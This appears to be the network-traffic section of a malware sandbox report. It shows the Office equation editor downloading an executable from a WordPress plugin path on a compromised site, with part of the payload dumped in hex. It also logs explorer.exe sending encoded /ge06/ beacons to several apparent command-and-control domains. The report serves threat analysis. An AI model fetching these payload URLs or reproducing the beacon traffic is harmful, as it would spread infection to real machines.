Nov 14, 2023 13:28:45.006840944 CET	8.8.8.8	192.168.2.22	0xc2c0	No error (0)	centralngs.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:28:45.006840944 CET	8.8.8.8	192.168.2.22	0xc2c0	No error (0)	centralngs.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:05.729218960 CET	8.8.8.8	192.168.2.22	0xb8e	No error (0)	www.west-paws.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2023 13:29:05.729218960 CET	8.8.8.8	192.168.2.22	0xb8e	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2023 13:29:05.729218960 CET	8.8.8.8	192.168.2.22	0xb8e	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:24.058892965 CET	8.8.8.8	192.168.2.22	0xe8fb	Name error (3)	www.pj69vip12.cyou	none	none	A (IP address)	IN (0x0001)	false
Nov 14, 2023 13:29:44.450772047 CET	8.8.8.8	192.168.2.22	0xbbcb	No error (0)	www.miamirealestatecommercial.com		206.188.193.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mail.treeoflifeadventures.com

www.narrativepages.com

www.luxpsy.com

www.sxchenggu.com

www.centralngs.com

www.west-paws.com

www.miamirealestatecommercial.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49162	41.185.64.155	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:26:24.263209105 CET	2	OUT	GET /wp-content/plugins/70d5e28f51c1438d94e3e6dc84b95311/xt/mmd/shell/jakatrol2.1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mail.treeoflifeadventures.com Connection: Keep-Alive
Nov 14, 2023 13:26:24.701302052 CET	3	IN	HTTP/1.1 200 OK Date: Tue, 14 Nov 2023 12:26:24 GMT Server: Apache Last-Modified: Tue, 14 Nov 2023 03:41:46 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/x-msdownload Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec fd 79 3c 94 df fb 38 8e df b3 60 ac 33 8a 52 28 8a 52 22 85 22 a9 b1 8c b4 a8 11 86 4a a2 d0 98 64 9d 89 ca da 50 c6 a4 7d df 45 cb b3 7d 4f 1b 63 09 95 a2 5d a5 08 e5 d6 a8 88 6c c9 fc ae 73 cf a8 e7 eb fd f9 bc be df ef 1f bf ed 8f 8f 47 67 ee b3 9f eb 5c e7 5a cf 39 f7 9d c7 e2 6d 18 05 c3 30 2a 04 99 0c c3 f2 30 f9 1f 13 fb bf ff 2b 87 a0 35 f2 b6 16 76 4d f5 b1 71 1e 69 de 63 63 6f 6e 58 ac 51 54 4c e4 ca 98 a0 d5 46 2b 82 22 22 22 f9 46 cb 43 8c 62 04 11 46 61 11 46 ae 0b bc 8c 56 47 06 87 58 6a 6a aa 99 28 fa 38 6f 65 96 da ec e9 f6 6c 20 8c 0f 18 f6 4c 4a c4 67 3d 8b 26 d2 fa cf 3e c3 f3 5e cc 9a 67 0d f0 b4 f4 65 3e c3 e1 b9 30 6c 05 17 d5 1f 80 85 cd c2 b0 79 24 25 2c 64 9a 8c 33 90 57 87 d1 49 ea 24 65 0c f3 87 c4 2b 12 31 c9 5f 56 10 67 40 88 52 cc 12 c5 c9 f2 f9 2b 2b f0 40 fc 5d a2 fc 49 40 71 0a 51 11 d5 fd f3 fc f3 20 fe f4 f8 18 76 0c 45 aa c8 18 e3 e9 ff 03 e4 fd 3f fd 03 38 13 c8 ff bd d8 92 1f 12 0f 43 63 d2 c5 0a 80 d0 5c a9 ff 59 c7 08 c3 02 2d 63 82 83 f8 41 18 b6 47 5b de 27 36 08 42 e0 7f d6 63 c2 3f 4b 79 35 cc ee 12 e0 6b 1b 26 47 4a cc ff 52 4f 62 19 a1 a8 98 02 81 fd bf 07 30 05 d5 8b 89 8d 59 81 40 43 38 01 dc 60 68 c5 e2 ff d7 71 ff fb 0c ff cf df ff 27 ff 7c c4 2d c2 16 7f 61 a2 06 9d 6f 0e bf 6e 62 96 8e 40 53 e8 ae c7 10 6b ba cf 74 c6 44 ee 54 b6 4c c0 90 09 34 64 02 9a 4c b7 23 9a 89 35 3b 03 65 78 71 c4 b6 6c 28 cf 62 e5 fa b2 89 a2 6e 28 12 86 74 60 22 96 46 16 ab 51 9e d7 07 79 e2 c4 56 61 48 2b 26 36 64 47 41 db 14 18 92 7e c3 6d 21 fd 06 87 43 bf e8 83 8b 2b cd 3d 70 fa c5 42 4a 91 c8 83 b1 bf 4b 66 fd 2c b3 15 ca 3d 21 8b 7e 63 be 0f fd a2 07 4e 29 14 3f 84 12 68 e1 8d 5a 64 96 43 39 9b 7e 91 c5 a0 14 41 76 e1 47 1a fd 86 44 bd 3c 8b d5 c1 16 79 74 cb 74 fd 60 18 21 ab 95 2a 62 e9 b0 e5 80 68 c8 74 b1 18 26 26 13 e8 c8 9e 0b 59 38 d5 3e 11 a7 6f 8e 93 c9 64 c2 24 3f 19 3f 44 b6 c6 46 a6 eb 0e ad d2 25 d0 86 ef 23 4e d4 e0 91 7c cb 58 8d 0c 80 b5 8c 85 d3 e0 21 d3 75 85 0a b2 35 7e be 32 dd 79 51 44 5f 62 5b 26 44 7c 65 af e4 13 e6 1a 41 3d 36 4f c6 65 4e 75 86 5c 5d 2a 31 a2 06 94 13 e3 02 9e e4 28 61 43 fe b2 00 6b c9 92 07 45 0c 4c 3c cf 84 9a cd 05 34 8a 9f 7a 85 3d d3 03 b6 e5 f8 8a bd c9 b4 ce 22 32 7f 41 56 34 c9 5a e6 60 1b 0e c5 b1 ce e2 27 61 0f 50 79 96 2b 89 26 a6 75 16 92 f9 94 59 d2 11 9d 85 54 be aa b8 72 41 fa 03 be 91 94 d1 59 c8 10 a8 8b df 58 bf 15 36 90 ac df 88 f4 dc 94 50 0b 79 0f 31 0f 97 05 2c 29 a2 a2 e5 f6 f4 14 fb d0 60 fd 7e 84 75 a2 72 b1 21 02 c0 fa 01 a5 dd 57 e4 d1 07 28 14 bb d1 4e 93 f9 ea f6 1e 1a 7c 65 93 7c 67 91 1b cd 41 97 00 c2 55 5c 14 26 21 80 48 d0 a3 65 39 93 c4 74 04 87 1a 8f b4 10 3f 01 d8 44 49 aa c0 ac b3 90 c9 a7 c8 58 7d 9d 85 24 be 12 3c a5 90 e8 76 50 42 3d 88 ab 62 ee 5a 4b 00 90 07 45 34 4c 98 d8 87 f1 db 85 89 dd 18 5f 59 38 9f c6 94 36 89 e7 d3 52 3e 26 0b 1f 90 44 f3 69 d2 37 7f 70 c3 b1 ee 14 Data Ascii: 1faay<8`3R(R""JdP}E}Oc]lsGg\Z9m00+5vMqicconXQTLF+"""FCbFaFVGXjj(8oel LJg=&>^ge>0ly$%,d3WI$e+1_Vg@R++@]I@qQ vE?8Cc\Y-cAG['6Bc?Ky5k&GJROb0Y@C8`hq'\|-aonb@SktDTL4dL#5;exql(bn(t`"FQyVaH+&6dGA~m!C+=pBJKf,=!~cN)?hZdC9~AvGD<ytt`!bht&&Y8>od$??DF%#N\|X!u5~2yQD_b[&D\|eA=6OeNu\]*1(aCkEL<4z="2AV4Z`'aPy+&uYTrAYX6Py1,)`~ur!W(N\|e\|gAU\&!He9t?DIX}$<vPB=bZKE4L_Y86R>&Di7p
Nov 14, 2023 13:26:24.701364994 CET	5	IN	Data Raw: f6 18 c5 da d8 13 13 59 33 21 8b 4d f3 15 93 4f 2b 0b 06 59 cb 66 3d 6f 4a 5f d7 c7 a7 6a 90 a4 64 93 7e 11 d9 2d b5 e8 5f 73 7e b3 2c 40 3e 65 61 8b 46 36 a2 56 61 48 1f 50 ae d2 2e 58 51 5f b1 23 aa 23 62 75 8b 59 dd d6 ef ec f5 f8 73 1d 6a 63 Data Ascii: Y3!MO+Yf=oJ_jd~-_s~,@>eaF6VaHP.XQ_##buYsjcYb[4&Y,0hp>/0u}HZJ\SPyYTQQ13P%[+S3/E08bM5UJg^Gp2A$]"2*'VBa
Nov 14, 2023 13:26:24.701405048 CET	6	IN	Data Raw: 34 1f 00 12 e6 91 f1 6b 88 49 29 68 d5 cf a0 18 09 e8 3d 9f 41 10 b7 88 55 95 31 82 af 0a 48 a7 a7 31 e9 a8 dd 78 68 e7 f0 0b 16 b9 9b 9e 61 09 39 0e dd 49 64 31 e8 a4 2a 4a 19 50 55 27 e2 ef 44 1a 4c 31 4d 1b 0a 13 e9 1c bc 07 b2 28 dd 6b 95 44 Data Ascii: 4kI)h=AU1H1xha9Id1*JPU'DL1M(kDKi_2D0-g-l4$Y8#$=MP $W-dtC/nP&H-<y{%Qb_#2pk!~,&0Z4ZCk,Mjlzk6YxmPD([-3I(=
Nov 14, 2023 13:26:24.701446056 CET	7	IN	Data Raw: 15 9e 31 be 0b f2 90 65 c7 c5 63 99 80 00 2f 6e 77 2c 22 7f 7e 0c c1 87 9b df 62 08 8f b4 2c 9f ee 85 5c 1a 1f a6 4a 63 cb b4 d1 fc e9 9b af c8 8b 38 6c 31 4d e6 c9 46 4a 94 46 90 33 91 36 11 7b e0 f9 32 54 a3 b0 b0 9b 36 ba 94 af 29 f6 a0 b1 3d Data Ascii: 1ec/nw,"~b,\Jc8l1MFJF36{2T6)=00Y`?4#@x97p01<~X5M#CuQ4ynn!"/<aY(@4w4tw^`<AjP[:p
Nov 14, 2023 13:26:24.701483011 CET	9	IN	Data Raw: 6b 6c 14 d0 85 a5 7a 1c 5f fc 22 b0 41 73 15 f4 e1 29 e5 0b 1f c8 cc cb 45 1e 75 7c 0d 60 02 35 32 1a be 46 ca 90 09 f0 2c 37 3d 36 7e 0a 6a a6 cc 57 25 21 9f c7 a3 46 a4 b1 11 69 ff b4 dd 72 23 0c 9f d7 0c 4a 29 03 43 d6 5f 15 09 61 d5 88 2e 9c Data Ascii: klz_"As)Eu\|`52F,7=6~jW%!Fir#J)C_a.x?1~ PUAbROTeXm17o@;iMGTbc0HMvrO'\|0Hb[=0cbt!7!<B+Ll7<0~b!}LlO?X7L
Nov 14, 2023 13:26:24.701525927 CET	10	IN	Data Raw: a8 95 8f 31 c1 54 13 e8 24 82 a9 a4 53 50 87 76 ee 7c 71 8e a2 c3 1e 40 c5 38 81 8e c8 91 8b 3a b1 0d bf 84 e0 e8 96 77 69 18 05 bf 39 7c 84 ef 47 84 45 22 62 b5 d0 37 9f 46 3e a7 2d 2a 32 6f 97 03 d0 49 6c 79 93 c4 dd 7c 17 73 56 87 23 ba 45 13 Data Ascii: 1T$SPv\|q@8:wi9\|GE"b7F>-*2oIly\|sV#E&&J9L"q'BH8Y5o/hL 3N-&&0uC<^/.Q`&#+wo?l"(e<}%Cp[1@JDh
Nov 14, 2023 13:26:24.701565027 CET	11	IN	Data Raw: 18 f5 e5 05 82 17 9f 0f eb 93 8d 6c 83 7b 88 5e 85 75 46 3e 39 e8 5e 44 99 52 0d 32 b3 30 12 86 37 1a 11 ca 35 1d b1 b7 78 be bb c3 23 fe 3a 31 67 5e 76 3c 94 17 d4 59 02 1c 94 2a 5f 4a f9 42 4f d9 1a 57 fc 11 f0 f5 31 94 39 ad 98 ef 3d 7d 94 80 Data Ascii: l{^uF>9^DR2075x#:1g^v<Y*_JBOW19=}^Q8kWkRv}ekpKSq9DqXx(OF"3~An>z$iX>/:'1,Lb zhe"lrp#da`VP9y~H @ '/
Nov 14, 2023 13:26:24.701605082 CET	13	IN	Data Raw: 82 cf 00 20 88 e1 61 42 1a 78 c5 cb 01 3a 10 f8 f3 68 03 c5 84 18 57 42 b4 54 8c d8 66 e4 bf e1 97 d9 22 76 12 59 20 16 80 21 36 23 0b d0 02 6d b2 0a f4 ed 2d 50 35 fe 60 9e 9a af bc 8f 32 25 54 80 58 6f 40 ec 32 c0 57 13 26 98 50 e3 05 ca f2 7b Data Ascii: aBx:hWBTf"vY !6#m-P5`2%TXo@2W&P{F'p0WsCEb^aEUrF<+D{cJM'E7u;;tbe_cd)lk!H&U>;qi"V7_[3n:eR
Nov 14, 2023 13:26:24.701642990 CET	14	IN	Data Raw: 1e 2f 1c ca 63 d1 64 c9 84 e7 87 e4 b1 fd 5a 06 df 8a cd fb 45 dc 4e c1 cf 28 5a 01 8d 57 cb 04 2f 78 7d 1c 1c bd 01 27 d5 22 76 fa d0 7e 27 7e 49 0b 9d 2f 80 bf 9a d3 88 8c 3c 35 9e 0a 1e fd 04 ec 62 74 cd a2 31 3d 4a 87 4f 11 25 f6 81 10 4b ec Data Ascii: /cdZEN(ZW/x}'"v~'~I/<5bt1=JO%K%hJ>dEzHNx1TH+.tCT$,zK }<I&m/hI,:2\|Nj?zEq4V~d@/J amjHs]2
Nov 14, 2023 13:26:24.701680899 CET	16	IN	Data Raw: bc a3 d9 48 bc 08 0a 92 ce aa 95 38 f3 a4 6f 39 84 7c 68 3f f4 6a 89 d8 a3 43 4c cd 00 b0 f9 62 75 30 8f 3a ef 93 ca 58 77 d1 3b bb 7c ed 2c 17 06 c4 55 09 7e ac 48 59 41 ea 47 d4 a1 c4 a3 f8 49 b5 c4 85 60 df 03 b5 30 f8 14 a1 84 22 7e 2a 13 48 Data Ascii: H8o9\|h?jCLbu0:Xw;\|,U~HYAGI`0"~*H4"%DXo$HR/rJ<bGA:W{KJUqG&cdAp-S>?c$W4~aE+~^lrz%N`0a$H"/hNF>m
Nov 14, 2023 13:26:25.127831936 CET	17	IN	Data Raw: 84 8e e8 c8 11 e3 2b 15 e2 ba 82 59 42 47 9c 48 29 a7 b6 61 98 9e fc 23 02 dc 3a f0 da 72 1a e1 27 9b 38 3d c5 b7 13 c7 54 b4 9c 96 ed 68 33 ba 15 7e d1 4e bf 48 b3 03 79 77 ba 2f e4 63 10 77 4a dd 49 c4 67 33 12 69 be f8 41 32 92 f5 1a c4 de ed Data Ascii: +YBGH)a#:r'8=Th3~NHyw/cwJIg3iA2P_%E%]9Ra5m6dz1%De;&f'T8)@x#XJ#.Sj\n'.JoDdg]GuhVq\|JOa)t#I$2x_Pk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49164	103.224.212.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:27:01.556895971 CET	403	OUT	GET /ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41 HTTP/1.1 Host: www.narrativepages.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2023 13:27:01.751121998 CET	404	IN	HTTP/1.1 302 Found date: Tue, 14 Nov 2023 12:27:01 GMT server: Apache set-cookie: __tad=1699964821.5890023; expires=Fri, 11-Nov-2033 12:27:01 GMT; Max-Age=315360000 location: http://ww25.narrativepages.com/ge06/?6l58L2=/ya+08xkyOEL3z3mbFI+CcZs6Ll5ZIz+eS70dlN8tW9HOdaiVOhFBqrIR4wo06Sw4yKSnA==&BL3=KP-PB41&subid1=20231114-2327-010e-8293-af04c239490a content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49166	91.195.240.19	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:28:02.320327997 CET	405	OUT	GET /ge06/?6l58L2=rR7wD3U/ZV6dBjvSlK9KatPYfQs2u0cQXMzY4PO5wsCIJRW7frAjgDUNgmxBJMGJ1YneTQ==&BL3=KP-PB41 HTTP/1.1 Host: www.luxpsy.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2023 13:28:02.687213898 CET	407	IN	HTTP/1.1 200 OK date: Tue, 14 Nov 2023 12:28:02 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_EfqE9+XgsPeY0lt8fmJCcevpQEArfAW6hkYNc948X7A9WnL7z7gTBDJenGdvd81ElZXhQnPSPvnXhX6qVpD73g== last-modified: Tue, 14 Nov 2023 12:28:02 GMT x-cache-miss-from: parking-698fb476bf-mbx66 server: NginX connection: close Data Raw: 32 43 46 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 45 66 71 45 39 2b 58 67 73 50 65 59 30 6c 74 38 66 6d 4a 43 63 65 76 70 51 45 41 72 66 41 57 36 68 6b 59 4e 63 39 34 38 58 37 41 39 57 6e 4c 37 7a 37 67 54 42 44 4a 65 6e 47 64 76 64 38 31 45 6c 5a 58 68 51 6e 50 53 50 76 6e 58 68 58 36 71 56 70 44 37 33 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 6c 75 78 70 73 79 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 6c 75 78 70 73 79 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6c 75 78 70 73 79 2e 63 6f 6d 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 Data Ascii: 2CF<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_EfqE9+XgsPeY0lt8fmJCcevpQEArfAW6hkYNc948X7A9WnL7z7gTBDJenGdvd81ElZXhQnPSPvnXhX6qVpD73g==><head><meta charset="utf-8"><title>luxpsy.com - luxpsy Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="luxpsy.com is your first and best source for all of the information youre looking for. From general topics
Nov 14, 2023 13:28:02.687242031 CET	408	IN	Data Raw: 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 6c 75 78 70 73 79 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c 6c 2e 20 57 65 20 68 6f 70 65 20 79 6f 75 20 Data Ascii: to more of what you would expect to find here, luxpsy.com has it all. We hope you find what you are searchiAECng for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sedo_logo.png"/><
Nov 14, 2023 13:28:02.687256098 CET	409	IN	Data Raw: 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 Data Ascii: tgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-
Nov 14, 2023 13:28:02.687268972 CET	410	IN	Data Raw: 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 70 7b 63 6f 6c 6f 72 3a 23 38 34 38 34 38 34 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 61 7b 63 6f 6c 6f 72 3a 23 Data Ascii: t-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox{text-align:center}.container-buybox__c
Nov 14, 2023 13:28:02.687280893 CET	412	IN	Data Raw: 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 61 63 74 2d 75 73 7b 74 Data Ascii: ntainer-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-align:center}.container-contact-us__content{display:inline-block}.container-contact-us__content-text,.container-contact-us__content-link{font-size:10px;color
Nov 14, 2023 13:28:02.687293053 CET	413	IN	Data Raw: 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 68 65 61 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: ansition:all .3s;text-align:center}.cookie-modal-window__content-header{font-size:150%;margin:0 0 15px}.cookie-modal-window__content{text-align:initial;margin:10% auto;padding:40px;background:#fff;display:inline-block;max-width:550px}.cookie-m
Nov 14, 2023 13:28:02.687308073 CET	414	IN	Data Raw: 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6d 65 64 69 75 6d 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 73 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 38 63 39 35 39 63 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 63 Data Ascii: #fff;font-size:medium}.btn--secondary-sm{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:initial}.btn--secondary-sm:hover{background-color:#727c83;border-color:#727c83;color:#fff;font-size:initial}.switch input{opacity:0;wid
Nov 14, 2023 13:28:02.687319994 CET	415	IN	Data Raw: 43 41 41 0d 0a 75 73 3a 35 30 25 7d 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 2b 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 37 62 66 66 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2b 2e 73 77 Data Ascii: CAAus:50%}input:checked+.switch__slider{background-color:#007bff}input:focus+.switch__slider{box-shadow:0 0 1px #007bff}input:checked+.switch__slider:before{-webkit-transform:translateX(26px);-ms-transform:translateX(26px);transform:translat
Nov 14, 2023 13:28:02.687330961 CET	416	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 62 67 2f 61 72 72 6f 77 73 2d 63 75 72 76 65 64 2e 70 6e 67 22 29 20 23 30 65 31 36 32 65 20 6e 6f 2d 72 Data Ascii: ackground:url("//img.sedoparking.com/templates/bg/arrows-curved.png") #0e162e no-repeat center left;background-size:94% 640px;flex-grow:2;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-ind
Nov 14, 2023 13:28:02.687644005 CET	418	IN	Data Raw: 30 3b 6d 61 72 67 69 6e 3a 2e 31 31 65 6d 20 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b Data Ascii: 0;margin:.11em 0;line-height:18px;color:#fff}.two-tier-ads-list__list-element-link{font-size:1em;text-decoration:underline;color:#9fd801}.two-tier-ads-list__list-element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:u
Nov 14, 2023 13:28:02.993742943 CET	419	IN	Data Raw: 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e 65 72 20 73 70 61 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 65 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: gn:center;margin-top:10px}.nc-container span{font-family:Ariel,sans-serif;font-size:16px;color:#888} </style><script type="text/javascript"> var dto = {"uiOptimize":false,"singleDomainName":"luxpsy.com","domainName":"luxpsy.com","

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49167	38.11.36.68	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:28:23.777817965 CET	431	OUT	GET /ge06/?6l58L2=0+Pk4QqMeOZthSuOlE3hLercqAjKj7AZkI6NQZ8fzlVSI648NH9aZsaxoIAU5h7921vkYw==&BL3=KP-PB41 HTTP/1.1 Host: www.sxchenggu.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49168	3.33.130.190	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:28:45.165462017 CET	431	OUT	GET /ge06/?6l58L2=STnFDs3dPiWe372IPmsYuoiBxbI3LvhJSNAXi8QejK8uEGpyoTWx2uWpsN+kECUfI/d5Qw==&BL3=KP-PB41 HTTP/1.1 Host: www.centralngs.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2023 13:28:45.382431030 CET	432	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 14 Nov 2023 12:28:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
